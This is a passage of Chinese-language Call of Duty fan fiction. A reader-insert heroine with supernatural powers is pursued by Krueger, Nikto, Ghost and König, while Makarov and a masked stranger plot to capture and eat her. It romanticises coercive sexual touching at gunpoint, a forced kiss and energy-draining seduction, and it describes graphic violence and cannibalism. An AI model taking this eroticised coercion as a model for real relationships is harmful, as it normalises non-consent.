Krueger的拇指按上她的锁骨,力道足以留下淤青,“让我看看,你还能不在乎到什么程度?”
男人的手指勾住她衣领的边缘,黑绸如夜潮般滑落,堆叠在脚边,像一场无声的献祭。
他的枪管贴着她的脊背缓缓下移,金属的冰冷与她皮肤的苍白相贴,而她依然无动于衷。
要是过去,Y/N一定会踹翻他,或是面无表情的将枪夺走,再扔他个白眼。
他抚过她的下颌,脖颈,锁骨,指尖带着刻意的力道,仿佛在测试这具躯壳下是否还藏着一点人类的战栗。
没有。
Y/N只是用那双非人的竖瞳注视着他,目光像是穿过了他,落在某片虚空里。
不是抗拒,不是羞耻,甚至不是轻蔑,只是纯粹的无关紧要。但在Krueger眼里,这却是最致命的纵容。
她在允许他。她在邀请他,弄坏她。
他的呼吸加重,枪管抵住她的后腰,另一只手掐住她的喉咙,拇指按上她的脉搏。
没有跳动。
他突然笑了,笑声低哑,像是发现了什么荒谬的真相,“你现在,连活着都不是了,对吧?”
Y/N的睫毛终于颤动了一下。或许是因为这句话,又或许,只是风吹动了温泉的烟雾。
这反而让Krueger更加兴奋,驯服野猫有什么意思?要驯服,就该驯服虚无本身。
Krueger猛地收紧手指,抵上她的腰,“Mein liebes Katzchen(亲爱的小猫),你比以前更让我
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满意啊?”
他的枪管继续下滑,抵在她的脊椎末端,另一只手扣住她的髋骨,指节往下,陷进肌肤里。
“既然你什么都不在乎……” 他的声音压得更低,几乎像某种危险的耳语,“那不如,让我看看。这里,会不会咬人?”
水雾突然被撕裂。
一道黑影如炮弹般撞向Krueger,漆黑的面甲在暗处划过一道反光,Nikto的拳头砸在Krueger脸上,骨裂声清脆得像折断的树枝。
“Ублюдок(杂种)” 他的俄语扭曲变形,喷出灼热的嘶鸣,“Ктотеберазрешилкнейприкасаться?!(谁允许你碰她)”
Krueger踉跄着后退,枪管在地上擦出一串火星,却低笑着抹去嘴角的血。
Y/N站在原地,黑绸衣袍半褪,露出苍白的躯体。竖瞳转动,正“看”向这场冲突,却没有多余的表情。
Nikto掐住Krueger的喉咙,将他狠狠掼在树上。抽出腿侧的匕首,刀尖抵住Krueger的颈动脉。
“你该被烧成灰。” 他的声音像砂纸在摩擦,“撒在她脚底下。”
Krueger的瞳孔因缺氧而扩大,却还在笑,他的指尖故意蹭过Nikto面甲,“想舔你主人的味道吗,看门狗。Und ich bin ihr Herr(而我才是她的主人)”
Nikto的眼瞪大,刀刃猛地压深半寸。
“很吵。”Y/N的声音,轻得像风,冷得像冰。
Nikto的刀尖顿住,Krueger的喘息凝滞在喉咙里。
她抬手,乌发滑落,露出布满诡异纹路的小臂。硫在她掌心凝聚成棱柱,指向两人之间。
“要打,就死远点。”
Nikto的刀刃缓缓收回,他松开钳制,任由Krueger滑落在地,却连一个眼神都懒得再施舍。
全部注意力重新回到Y/N身上,像狂信徒收敛杀意,回归最原始的虔诚。
他拾起滑落的黑绸衣袍,指节小心避开那些嵌在布料上的血红钻花,似乎它们是什么神圣的图腾。
他的动作很轻,近乎一种仪式,为她拢好衣领,抚平每一道褶皱。仿佛刚才的暴怒从未存在。
Y/N任由他摆布,无波无澜。她不在乎他的忠诚,也不在乎他的杀戮。
Krueger撑着树干站起身,他低笑,“下次见,Mieze(咪咪)”
然后,他后退两步,转身隐入黑暗,树影吞没他的轮廓,只有枪管在月光下反射出转瞬即逝的冷光。
安静了,Y/N满意了。她并无有想杀Krueger的欲望,即便他那么吵。
而眼前这个人,很静,她注视着Nikto,又望向远处沉寂的火山口。
然后,她闭眼。
轰!!!
火山口骤然喷发,岩浆如赤红巨龙冲天而起,浓烟翻滚,硫磺与灰烬瞬间遮蔽了半边天空。
但仅仅几秒后,一切又诡异地凝固,岩浆在半空凝结成黑色结晶,像被某种无形的力量强行镇压。
她只是随意一下,就像孩子拨弄玩具。
但这一瞬的毁灭,已足够让Nikto的瞳孔紧缩,面甲后发出近乎亢奋的嘶鸣。
沸腾的不只是岩浆,还有他的血液。
Y/N却突然感到一丝异样。她垂眸,看向自己的指尖,正在发颤。
疲惫?还是困意?她已经很久没有这种感觉了。自从失去五感,她不再需要睡眠,不再需要喘息,仿佛是个永远清醒的怪物。
可现在,温泉水漫过她的肩膀,热度渗入皮肤,竟让她感到一丝久违的昏沉。
是刚才控制火山的消耗,还是她的力量从一开始不稳定?
但她懒得深究,索性闭上眼,任由自己沉入温泉深处。
如果这就是“困”,那睡一觉也无妨。
反正,没人敢打扰她。
24. 自娱自乐
Y/N在温泉中难得地沉睡过去,醒来时发现Nikto已经被打晕捆在一旁。
Ghost正静坐在温泉边缘,那双藏在骷髅面罩后的眼睛一瞬不瞬地凝视着她。
他能找到这里,还得感谢Krueger那个疯子。Ghost原本只是在周边区域潜伏侦查,却意外发现了倒在血泊中的Krueger。
那家伙靠在一棵树旁,浑身是伤却还活着。
Ghost用靴子踢了踢他,Krueger立刻睁开布满血丝的眼睛,嘴角勾起一抹挑衅的弧度。
“废物们,我又尝到你们永远尝不到的滋味”
Ghost冷冷地睨了他一眼,转身离去。
这个疯子的存在本身就是个信号,既然连Krueger都能活到现在,说明Y/N确实还记得他们。
这个认知让骷髅面具下的男人嘴角上扬。
他沿着雪地上斑驳的血迹追踪,最终在一处雾气缭绕的温泉边停下脚步。
透过蒸腾的水汽,他看见Y/N安静地漂浮在水面上,而Nikto伫立在岸边,目光空洞地望着远方,仍沉浸在那一瞬火山爆发的震撼场景中。
Ghost的伏击无声无息。一个利落的擒拿,Nikto甚至没来得及发出声响就被放倒。
军用绳索在树干上缠绕数圈,确保这个危险的对手短时间内无法挣脱。
他缓步走向温泉,水面上的Y/N睡得毫无防备,Ghost单膝跪在池边,扯下手套,手指轻轻撩起她的一缕湿发。
这个动作让她的头突然失去支撑向前垂落,Ghost迅速张开手掌,稳稳托住了她滑落的脸颊。
温泉水珠顺着他的臂膀滴落,在月下闪着银光。
她依然沉睡,甚至无意识地在Ghost掌心里蹭了蹭,像只慵懒的猫。
Ghost喉间溢出一声低沉的轻笑,看来,某些本能般的习惯却从未改变。
他就这样席地而坐,任由她的脸颊枕在自己宽大的手掌中。撑着下巴静静凝视,骷髅下的眼神比温泉的雾气还要柔。
不知过了多久,Y/N睫毛轻颤着醒来时,Ghost竟一时恍惚未能回神。
直到她的瞳孔对上他的视线,他才缓缓抽回手。
“我给你的耳机在哪?”
Y/N懒洋洋抬手,水面泛起涟漪,那副特制耳机从泉底浮起,在他眼前晃了晃,又沉入水雾中。
Ghost沉默无言,Y/N却全然将他视作空气。
她自温泉中起身,水珠顺着肌肤滚落,在月下勾出莹润的轮廓。
Ghost坐在地上,而她就这样赤身站在他面前,突然抬手抚过他那张骷髅脸,并未真正的肌肤相触,却还是激起他一阵战栗。
“我似乎挺喜欢你的,你们几个,我好像都不舍得杀。”
Ghost见过她太多模样。
天真懵懂如初生幼鹿,暴戾残忍似地狱恶鬼,还有那副在支离破碎的虚空寻找真相的样子。
却从未见过像此刻这般,神圣与魅惑的交织。
初见时她也曾赤裸,但似山间精灵不谙世事。而今她只是静立在此,却仿佛在恩赐凡人触碰神明的机会。
水汽在女人周身缭绕,每一寸肌肤都像在诉说,我已尝尽人间百味。
Ghost起身,两人之间仅剩一掌之隔。他垂首凝视她,骷髅面下的眼眸暗如深渊,像要将她永远囚禁在自己的视线里。
Y/N竖起食指,戳在Ghost的肩头。却一寸寸陷进血肉,猩红顺着她的手滴落在雪地上,一滴,两滴,绽开刺目的红。
Ghost纹丝未动,连眼神都未变,仿佛这痛觉与他无关。她缓缓抽回手,端详着染血的指尖。
“嗯,你的味道不错。”
她漫不经心地舔去指尖的血,眼里没有情绪,像在品尝一杯无味的清水。
Y/N手腕轻抬,Ghost腰间的□□便凌空飞入她掌中。
男人浑身肌肉瞬间绷紧,骷髅面罩下的嘴角扯出一丝自嘲的弧度,终究还是逃不过这一劫么?
她突然扬手,一股无形的力量将Ghost推入温泉。匕首破空袭来,他本能地抬臂格挡,另一只手已摸向枪套。
预想中的剧痛并未降临,只听见布料撕裂的声响,最外两层战术服如落叶飘在水面,所有武器尽数沉入池底。
只剩那件被浸透的黑色作战衫,湿淋淋地贴在紧绷的肌肉上。
Ghost挑眉按住仍在颤动的匕首,刀柄在他掌心发出不甘的嗡鸣。
这时Y/N已重新入水,像条准备猎食的人鱼,绕着他缓缓游弋了一圈。蒸腾的雾气中,目光如有实质,寸寸丈量着他的身体。
“你不会杀我。”
Y/N游近时,黑色水草般的发丝缠上Ghost,他肩头的伤口还在渗血。
两人之间的涟漪都是红色的。
致命,危险,又蛊惑。
Ghost始终沉默,唯有攥紧匕首随时注意她的动向。
她忽然贴上来,唇瓣贴上他渗血的伤口,然后抚上他的脸,指尖描摹着那具骷髅的轮廓。
“你最好,让我满意。”
Ghost尚未反应过来,Y/N已猛然发力将他抵在温泉的石壁上。
她的力道大得惊人,整个身子紧贴上来,指尖一划便撕开了骷髅面具下的黑色头罩,只露出他紧抿的薄唇。
Ghost眼中怒意骤起,反手就要擒住她的手腕。可如今的Y/N哪是他能制住的?
她轻而易举扣住他的手臂,将他死死按在壁岩上,气息拂过他的唇。
“放松,我不会撕掉你的脸。”
话音未落,她的唇已覆了上来。Ghost瞳孔骤缩,所有反抗的动作都在这个吻中僵住。
温泉水汽氤氲,将两人纠缠的身影模糊成一片。
Y/N刚苏醒时,就感到一种异样的饥饿在体内翻涌。
她不想碰人类的食物,也不愿啃食血肉,但或许,有另一种方式可以解馋。
比如,吞噬那些藏在鲜活躯体里的生机。
Ghost的眉头紧锁,眼底翻涌着危险的暗色。Y/N柔软的曲线紧贴着他,将他牢牢压制在身下。
这位令人闻风丧胆的战士,此刻竟像个被轻薄的小男人,动弹不得。
他忽觉浑身战栗,每一寸肌肉都泛起异样的酥麻,比当初她第一次用唇舌治愈他伤口时更甚。
这不是正常的愉悦,而是更危险的东西。
他感觉到自己体内的某种能量正在被抽离,腹部深处传来诡异的躁动,仿佛在渴求被她吞噬。
肌肉本能地绷紧,手臂却不受控制松懈下来,Y/N的唇若有若无抚过他的脖颈。
察觉到他的顺从后,她执起他的手,在他指节上咬下一道细小的伤口。
鲜血渗入温泉,而她像个优雅的吸血鬼般慢条斯理地舔舐着。
“你、到底、在、做、什么!”
男人的声调沙哑得可怕,眼底泛起不自然的红。Y/N嘴上染着血,再次倾身咬住他的下唇。
这一次,她将那股躁动的能量彻底抽离,Ghost的眼眸颤动,背脊弓起,在极致的战栗中尝到了濒死般的快感。
或许是察觉到Ghost的松懈,Y/N稍稍放松了压制。
可下一秒,男人却猛然发力,大掌死死扣住她的腰,力道大得像是在发泄怒意。
低哑的音线裹着危险,一字一顿在她耳边炸开。
“你确定这是你想要的。”
她现在饿了,可以选择吃掉他的血肉,也可以选择吃掉他的生机,而Y/N尝过他的血了,确实美味,但她并不想就那样撕裂吞噬他。
手臂顺势环上他的脖颈,指尖沿着那绷紧的脊背逐渐下滑。
“刺啦”一声,作战服应声裂开一道口子。Ghost狭起眼眸,擒住她作乱的手腕。
他单手便将她双腕锁在身后,另一只手掌强势地陷进她后腰的曲线,骤然发力将人狠狠箍进怀中。
两人严丝合缝地紧贴在一起,温泉水因剧烈的动作溅起浪花。
Ghost灼热的呼吸喷吐在她耳际。
“既然是你先开始的,就别想喊停。”
Nikto像一尾被锁链禁锢的毒蛇,却反常地静默不动。只因Y/N那件黑血般的长袍正整个将他笼罩。
隔着面罩,他清晰嗅到她的气息。灼烈,熔岩,焦香,这些令他痴狂的味道。
远处温泉传来的涟漪声,水波轻颤间,他仿佛能听见Y/N肌肤划过水面的声响,每一颗坠落的水珠都变成火焰,将她裹挟,再将他点燃。
月亮升到最高处时,Ghost在水里看着背对着他起身离开的女人,转瞬消失。
“Fucking Hell….”
他重重吐出一口气,将飘在水面上的作战服扔回岸边,又将水下的武器装备自己捞了出来。
穿戴整齐后,Ghost叉着腰,舌尖顶上后槽牙,“Fuck this! Do I look like some cheap gigolo to you? ”(艹,老子是个廉价的男宠吗?)
可随即,他喉间又滚出餍足的笑。
“Just wait - Do cherish this fleeting moment of superiority, princess…..Next time, I won''t be so gentle.(等着,好好珍惜这转瞬即逝的优越感吧,公主殿下,下次,我可没这么客气了)
矿洞内,马卡洛夫坐在监控屏幕前,看着Nikto将化学家带去见Y/N。
上次的血腥屠杀让他折损了大批得力干将,但对他而言,能换来Y/N这样的角色,那些蝼蚁般的性命根本不足挂齿。
当Nikto押着化学家来到Y/N面前时,这个向来冷静的知识分子也震惊地后退了半步。
他记忆中的Y/N,还停留在那个眼神清澈,仿
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若不谙世事的非人姿态。
而今眼前的身影,瞳孔已如夜行动物般细缩成缝,周身散发的气息,比那些最无情的雇佣兵还要冰冷致命。
与此同时,马卡洛夫正通过加密频道与那位神秘人物通话。
“你要找的,现在就在我基地里。”
他摩挲着酒杯边缘,冰块的碰撞声在通讯器中格外清晰,“不如你亲自来一趟?毕竟....”
他故意拖长了语调,目光扫过监控屏幕上Y/N的身影,她正像打量实验品般注视着颤抖的化学家。
“连我都开始好奇了,你追猎的这个东西,到底是什么来头。”
通讯器那端传来轻微的电流杂音,良久,一个经过变声处理的机械音响起。
“保持她的活性。12小时后抵达。”
当这位老朋友如约而至时,马卡洛夫敏锐地注意到,这个人,身上竟没有流露出一丝焦躁或期待。他就像来验收一件普通货物般从容。
“我要单独见她。”变声器处理过的声音从面具后传来。
马卡洛夫露出笑容,“当然,就在我的私人办公室。”
他做了个邀请的手势,却在转身时眯起眼睛,那里布满了他精心隐藏的二级监控系统。
没人知道,在这间布满监控的房间墙壁夹层里,还藏着另一套更隐蔽的装置。
这是马卡洛夫多年来的保命手段。即便主系统被入侵,他仍能通过这些“监控中的监控”掌控全局。
神秘人静立在这间特制的会客室内,冷色调灯光下,那副金色面具仿佛具有生命般明灭闪烁。
马卡洛夫亲自来到地牢。那间被Y/N选中的石室,正是当初她“美救英雄”的现场。
石墙上仍残留着爆炸后的裂痕,唯一的改变,是房间中央多了一张铁椅,Y/N正慵懒地靠坐在上面,指尖轻叩扶手。
马卡洛夫刚上前两步,一道黑影,Nikto横挡在前。他强压怒火,声音朝向Y/N依然恭敬。
“有位特别的客人,寻找您很久了。”
马卡洛夫故意停顿,“他似乎,比任何人都了解您的,本质。”
Y/N原本涣散的竖瞳似乎凝聚起来,“是吗?”
铁椅发出令人牙酸到刺耳,她终于站了起来。Nikto立刻退到阴影处,像条收起毒牙的蛇。
马卡洛夫阴鸷的目光钉在监控屏上,高脚杯突然在手中爆裂。
画面里,那个从未对任何人低头的神秘人,竟对着Y/N单膝跪下了。
黄金面具遮住了他的全部面容,连眼珠子都未露出一分一毫。他跪姿如朝圣者般虔诚,声音透过变声器发出扭曲的咏叹。
“我敬爱的Y/N,您或许已遗忘我的家族。”
“但我们是靠您的血液而生的。”
没有人真正了解Y/N的来历,就连这个神秘人也不清楚。
但他的家族世代流传着一个秘密,他们被世人称为世界的操盘者,是掌控人间天平,那只看不见的手。
在他家族的密室里,供奉着一本年代久远的古籍,据说是由一位活了两百岁的先祖留下。
而那位先祖的死亡至今成谜,连尸骨都未曾找到。
泛黄书页间,用褪色的墨描绘着一个来自东方的神秘女人。传说她生来便能呼风唤雨,能让干涸的土地重焕生机。
他的先祖,在那个遥远的年代,将她从故土偷带到这世界另一端。
更令人毛骨悚然的是,书里记载着,也正是他们家族,教会了这个本该治愈世界的存在,如何让大地染血。
他们让她迷恋人类,又让她像孩童摆弄脆弱的玩偶般玩弄人类,可以随意拧断脖颈,撕碎四肢,吞噬血肉,再漫不经心地让其重生。
要获得她的青睐,然后在她吞噬血肉时,在她感到饥饿时,扼杀她,肢解她,啖食她,你便能窃取永恒的生命。
而她不会真正消亡,这具不朽的躯体将沦为永世循环的飨宴。
切记,绝不能让慈悲污染她的灵魂。人类的温情是剧毒,会稀释她血液中的神力。
当学会爱与怜悯,她便不再是可以被我们分食的祭品,继承的遗产,永恒的粮仓。
起初,他对这些荒诞的传说嗤之以鼻。
尽管族谱上确实记载着先祖活了两百余年,且整个家族都拥有异于常人的寿命,衰老的速度缓慢到令人发指。
这是他们世代严守的秘密。
他们甚至会玩可笑的角色扮演,父亲在外假扮儿子,儿子伪装成孙子。
也多亏了这漫长的生命,让他们得以在时间长河中缓慢而贪婪地积累财富与权力,将触角伸向世界的每个阴暗角落。
他一直以为,这不过是家族利用无底线的资源和人脉,研发出了某种延寿技术。
毕竟,对他们而言,突破伦理的界限就像呼吸一样简单。
直到家中某个疯疯癫癫的年轻后辈,偶然翻出了这本禁书,执拗地要去寻找传说中的存在。
哈,更荒谬的是,竟真被他找到了。
25. 自娱自乐
神秘人的真正目的始终是将Y/N带走。但他心知肚明,马卡洛夫这只老狐狸既然见识过她的能力,就绝不会轻易放人。
他必须谨慎行事,绝不能让马卡洛夫察觉更多。
黄金面具下的眼神渐冷,既然无法直接带走,那就先杀了她。
趁她死亡后能力暂失的间隙,迅速吞噬她的血肉,再带走重组的身躯。等将她囚禁起来时,她应该已经完成再生.…
现在,他只需要等待一个完美的时机,找到一个能彻底杀死她的方法。
他回忆着古籍中晦涩的记载,唯有在她最饥饿的时刻,在她贪婪吞噬血肉的瞬间,才是杀死她的唯一时机。
神秘人突然传出扭曲的电子笑声,像是坏掉的收音机发出的杂音。
“看来,得先喂饱她才行。”
那本书里写着吞噬血肉,或许该给她投喂活人。但如何精准诱发她的饥渴感?
这项致命的喂食计划,还需要更周密的安排。
而此时的马卡洛夫,确实对神秘人所了解的真实一无所知,他也在想办法,如何能够得知关于Y/N的一切,好让她为自己所用。
另一边,化学家已如约开始研制死亡气体,却在暗中盘算着,一定要找机会研究Y/N这个活体样本,只要能采集到她的血,或是身上任何都行。
Konig和Keegan不断在矿区制造骚乱,可马卡洛夫却始终未曾露面,他根本不在意那些伤亡。
Konig的暴躁与日俱增。这天趁着Keegan没看住,他直接扛着冲锋枪冲进矿洞,子弹疯狂倾泻,火花在岩壁上炸开。
监控室里,马卡洛夫饶有兴致地观察着这个暴怒的战士。从第一次见到Konig起,他就想将这个狂战士收入麾下。
如今Y/N也留在这里。虽然他不明白为何这个随时能离开的女人选择留下。
但既然她没走,那就说明他的地盘足够让她满意。
既然如此,不如让这场游戏更有趣些。
马卡洛夫按下广播按钮,低沉的声音在矿洞中回荡。
“你想见她?而她选择留在这里。我让你见她。现在,放下武器。”
Konig没有丝毫犹豫,直接扔掉枪械,大步朝矿洞深处走去。
他不在乎会不会被射成筛子,他的蓝发仙子在这里,他的Y/N在这里。
他无条件地相信她,哪怕前方是地狱。
马卡洛夫没有阻拦,只是平静地为Konig指明了方向。当这个高大的男人跌跌撞撞冲进那间地牢时。
映入眼帘的是Y/N端坐在铁艺椅上,一袭如凝固鲜血般暗红的裙装垂落,手里正捧着一本书。
听到动静,她连眼皮都未抬一下。Konig浑身不受控制地颤抖起来。
他还清晰记得,就是在这个石室里,他曾兴奋地将她高高举起,掌心至今残留着她的温度。
可现在,她却看也不看他一眼。
这个如小山般魁梧的男人僵立在碎石堆中,泪水无声滚落。没有啜泣,没有哽咽,只有大颗大颗的泪珠砸在尘埃里。
Nikto在阴影中冷眼旁观。
Konig甚至没有踏入他自已为Y/N划定的“安全距离”,这个哭得像迷路孩子的战士,根本不值得他戒备。
对Nikto而言,Y/N就像是他的圣火,他不允许任何人有熄灭她的可能。
Y/N合上厚重的书,书页发出沉闷的声响。Konig依然垂首立在原地,像一尊被雨水淋湿的石像。
她漫不经心地抚过铁椅上铺着的熊皮,指尖轻抬,无形的气流便推着Konig踉跄向前。
阴影中的Nikto立刻绷直身体。
Konig死死攥着粗麻布衣摆,泪水早已浸透面罩下的布料。Y/N歪头打量着他,突然伸手扯住他的面罩。
“抬眼。”
气流压迫着Konig跪倒在地,高度刚好与她平齐。
这个姿势让Nikto的指节发出危险的咔响,但Y/N只是专注地凝视着Konig湿润的睫毛。
Konig从未见过这样的Y/N。强势,危险,却又带着致命的吸引力。他的心脏狂跳,喉结不自觉地滚动。
她记得他。
这个念头让他浑身发烫。
她向来偏爱他的眼睛。初次相遇时,她就勾着他面罩上的窟窿眼,凑近打量。那时她的指尖凉得像雪,却烫得他耳根发红。
她叫他“小熊”还总爱蜷在他怀里,像只慵懒的猫陷进沙发。难怪这张冰冷的铁椅会铺着熊皮。
气流压迫着Konig跪在她腿间,这个认知让他呼吸都变得灼热。
“哭什么?” 她的拇指抚过他湿润的睫毛,“你的眼睛,真让我想吃掉它们。”
Konig浑身一颤。她的气息近在咫尺,他想吻她,想得发疯。哪怕下一秒会被她撕碎喉咙。
Nikto在阴影中攥紧了匕首。
“你.…还记得我吗?Y/N...”
Konig的声音破碎不堪。他耸动着肩膀,将额头抵在她膝头,粗麻布料下传来断断续续的呜咽。
“我好想你…..为什么不要我了...Y/N….”
女人突然从铁椅上起身,一把扯住他的头套迫使他仰头。Konig被迫以从未有过的角度仰视她。
他的眼尾染着病态的红,泪水顺着粗布滚下。而Y/N正用打量新奇猎物般的眼神,俯视着这个为她崩溃的战士。
“嘘,安静点。”
Konig立刻用那双大手死死捂住面罩,只露出一双湿漉漉的蓝眼睛,像受惊的幼犬般慌乱眨动。
Y/N凝视着他,时间仿佛在这一刻凝固。突然,一声轻软的哼笑从她唇间溢出。
Nikto的瞳孔收缩,几乎以为是自己幻听。可但那分明是女人的声调,绝不可能是那头巨狼发出的声音。
Konig的指缝间,泪水突然流得更凶了。
Keegan正在清点着装备,他将狙击枪背起时,发出一声几不可闻的叹息。
他需要寻找一个能完美监控矿洞进出口的制高点,但并不是为了Konig。他擦拭着瞄准镜,思绪却不受控制地飘远。
Konig终究不是Merrick或Logan,那些与他并肩作战多年的老战友。
他们曾一起在战壕里分享最后一支烟,在战友的葬礼上沉默地碰杯。
Ghost不同,尽管性格古怪,不,应该说是特立独行。
但Ghost的战术素养和指挥能力令他心服口服。他们是同类,是能在枪林弹雨中背靠背作战的存在。
可Konig。
Keegan调整着狙击镜焦距,眼前浮现出那个高大的身影不顾一切冲向矿洞的画面。
Konig是团燃烧的野火,鲁莽又冲动,不计后果。
却又带着他们这些被战场打磨得冷硬的“同类”早已遗忘的炽烈。
他曾原以为konig只是有缺陷而已,有自我证明的执念,所以不惜冒险,不惜极端。
也原以为他与Kr
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ueger那种病态的疯狂相似,可逐渐才发现,似乎并非如此。
Konig的疯狂里藏着令人心惊的纯粹。
他会为在意的一切折断骨头,会为认定的目标碾碎血肉,像头不知退却的野兽,甘愿撞得头破血流也要护住心中所念。
Keegan想起Ghost曾评价过,“那傻子根本不懂什么叫战术性撤退。”
可正是这种近乎愚蠢的孤勇,让他这样极度专业的老派军人在深夜辗转时,会偶然想起自己是否也曾有过这样不计得失的时候。
也许有吧。
对战士来说或许鲁莽,但何尝不是另一种勇气。
Y/N缓步走出矿洞,身后如影随形地跟着两个高大的身影。
Konig几乎贴在她背后,而Nikto则落后几步,阴郁的目光死死钉在Konig宽阔的背脊上。
他当然认得这个同公司的家伙。在Shadowpany里,Konig那夸张的体型想不引人注意都难。
但现在,Nikto前所未有地憎恶起这副身板。Konig就像一堵移动的肉墙,把Y/N遮得严严实实,连片衣角都不让他看见。
Nikto的手指一直覆在腰间的匕首上,幻想着把这碍事的家伙削小几圈。
Konig的视线像被磁石吸附般,牢牢黏在Y/N身上,全然未觉身后那条蓄势待发的毒蛇。
此刻他雀跃的像个万圣节得到最多糖果的孩子,Y/N既没赶他走,也没像对待敌人那样折断他的骨头。
他的手指绞着作战背心的织带,布料发出声响。
他在心底默默想着,只要能这样永远跟在Y/N身后就够了。反正他从来都是孤身一人,没有真正的战友,更没有朋友。
那个所谓的公司也不过把他当作随时可以丢弃的杀人工具罢了。
Konig面罩下的嘴角扯出一丝苦笑。
他们真以为他蠢到看不出吗?那些充满戒备的眼神,那些刻意避开他独处的窃窃私语。
所有人都把他当成不可控的野兽,一个需要时刻提防的疯子。
而他最不愿承认的是,自己其实疯狂地嫉妒着Krueger。
那个疯子凭什么能活得如此肆意?不需要证明价值,不需要讨好任何人,光是存在就能让人退避三舍。
而他拼尽全力换来的,永远都是看异类般的眼神。
面罩下的呼吸突然变得灼热,可自从他遇见Y/N后,那种如影随形的“边缘人”窒息感竟已消散许久。
她看他的眼神从来不同。
不是看怪物的戒备,不是看工具的冷漠,而是.….
Konig的指尖微微发抖,回忆着她曾用手指勾住自己面罩窟窿的触感。
那种纯粹的,带着好奇的注视,让他第一次觉得自己是作为人被看见。
也许Shadowpany的人永远不懂,为什么这个疯狗般的战士会在她面前乖顺得像条家犬。
作战靴碾碎了一截枯枝,Konig才惊觉自己把背心带扯出了线头。
矿洞外,大雪纷飞。
每一脚落下,积雪都深陷至膝,发出沉闷的挤压声。
Y/N静立在雪幕中,漆黑的长发垂落在猩红长裙上,仿佛混沌天地间唯一的色彩。
风雪裹挟着细碎的冰晶,在她周身织成一道朦胧的纱。
Konig怔怔地站在她身后,呼吸凝滞。
这世界是为她而存在的。
而他,生来就是为了走向她。
26. 自娱自乐
化学家终于等到Nikto落单的时机。他拦下这个阴郁的战士,压低声音道。
“我从那位神秘人那里听说,Y/N对东方的一样东西情有独钟。”
他故意停顿,看着Nikto面具下的眼睛总算看向了他,“若是能找到,或许能让她心甘情愿留下。”
“什么东西?”
化学家凑近他耳边,胡乱说出一个词。
“红珊瑚。”
Krueger仍在附近游荡,时不时猎杀些山中的大型野兽,将血淋淋的猎物丢弃在温泉附近。
他始终记得上次拖回那头麋鹿时,Y/N眼中闪过的愉悦光芒。
“说不定这次...……”
皮革面罩的缝隙中,眼里竟露出笑意。或许她再次被取悦后,会愿意跟他离开。
又或者,趁她沉浸在那愉悦中时,先下手为强解决掉那条烦人的蜥蜴。
他盯着远处温泉蒸腾的热气,舌尖缓慢舔过犬齿,“小猫.….”
这个称呼在他喉咙里碾磨得血肉模糊。
他想起上次那截肌肤,如何在月光下泛出冷光。也记得她的触感,像被烙铁烫过般灼进自己骨髓。
男人垂首盯着自己的指尖,粗糙的指腹相互摩挲了几下,随后漫不经心地探入面罩之下。
一声低笑从面具后溢出,却转瞬即逝。
他的气息骤然阴冷,周身气压陡降。
“啧。”Krueger烦躁地甩了甩头。
猎刀在裤腿上随意蹭过,野猪的血迹在布料上拖出暗红的污痕。
Krueger的呼吸粗重起来,他的小猫身边现在不光有那些看门狗,居然又多了只烦人的蜥蜴。
瞳孔疯狂聚焦,她身边那该死的杂碎,他们的脏手会不会碰过他碰过的地方,尝过他尝过的滋味。
Krueger的牙齿狠狠磨咬自己的下唇,腥味在口腔漫开的瞬间,刀刃已狠狠扎进树干,木屑飞溅。
一直蛰伏在暗处的Keegan,狙击镜后的眼睛始终未曾松懈。
前几日那架漆着暗纹的直升机降落在马卡洛夫据点时,他立刻捕捉到了异常。
黄金面具的男人独自跨出舱门,连飞行操纵杆上的余温都未散去。
更令人心惊的是,向来不可一世的马卡洛夫竟亲自撑伞相迎,伞面倾斜的弧度暴露着赤裸裸的敬畏。
敢单枪匹马深入狼穴的,要么是疯子,要么是让群狼都甘愿俯首的….
“猎人。”他轻轻吐出这个词,冰凉的狙击镜映出远处黄金面具的反光。
晨光刺破云层时,Ghost正斜倚在一棵枯树上。枪械冰冷的金属质感抵着肩窝,齿间咬着根早已燃尽的烟蒂,烟灰簌簌落在作战靴上。
耳机里传来Price沙哑的叹息,“Simon,我以为你至少不会主动找死。”
Ghost用舌头顶了顶烟嘴,喉结滚动着低笑,“胜率七成。”他故意把概率说高了两成。
“Soap闹着要去找你。”Price那边传来雪茄燃烧的细微噼啪声,“我给他安排了清扫任务。”
短暂的沉默后,老队长的声音突然沉重,“活着回来复命。”
Ghost眯眼看着朝阳将树影拉长,被烟熏哑的嗓音里混着血腥味,“少操心,老头子。”
他咔哒一声咬断滤嘴,“该担心的是马卡洛夫。”
Nikto被支开后,Konig成了Y/N身后唯一的影子。
她总是沉默地蜷在那张铁椅里,苍白的手指翻动书页时像蝴蝶振翅般轻盈。
Konig起初只是呆坐在她脚边,用那双巨掌小心翼翼地捧着书本。
精装书籍在他手里小得可笑,活像巨人闯进了小人国的图书馆。
但不知从哪天起,他开始真正读进那些文字。
地牢的破败石墙上爬满了霉斑,昏暗的灯管,透过炸裂的天花板投下蛛网似的光痕。
在这方与世隔绝的天地里,他们之间渐渐形成一种奇妙的默契。
她翻页,他跟着翻页。
她停顿,他偷偷抬眼。
铁椅旁的灰尘里,两个影子偶尔会碰在一起,又很快分开。
直到某日,Konig正深陷在一本魔幻叙事的小说里,突然被坠落的书砸醒。
他茫然抬头,Y/N睡着了。
她整个人歪斜在铁椅里,黑发如瀑垂落,书从松开的指间滑下。
Konig的呼吸瞬间凝滞,喉结上下滚动了几轮,才颤抖着放下自己的书。
他像拆弹专家般慎之又慎地靠近,足足花了好几分钟才鼓起勇气伸手。
当把人整个捞进怀里时,Konig突然想起第一次抱她的场景,那时她也是这样轻,像片随时会融化的雪。
他坐回铁椅旁,让Y/N枕在自己大腿上,为了能让她舒服点,他强行让自己学会肌肉放松。这个曾经能单手捏碎敌人喉骨的战士,此刻正用捧圣物般的姿势护着她的后颈。
如果Y/N此时睁眼,必然能看见Konig面罩下扬起的嘴角。
Y/N没有深究自己为何再度陷入沉睡,也不在意为何会毫无预兆地昏睡过去。
醒来时,四周一片漆黑,唯有唇上传来湿润的触感。不是人类的亲吻,更像是某种动物的舔舐。
Konig察觉到她醒了,立刻退开。Y/N睁着眼,而他害怕被她看见。无论是谁,都不该看见他现在的模样,尤其是Y/N。
他已经记不清自己原本的样子,而像Y/N这样纯粹的存在,更不该知晓这个模糊而扭曲的他。
女人缓缓支起身,侧目打量着眼前局促不安的男人。
“我饿了。”她指尖轻叩铁椅扶手,“你能给我什么?”
“我,我这就去.….”
Konig像被踩到尾巴的犬类般弹起,却在转身瞬间撞上一堵无形的空气墙。
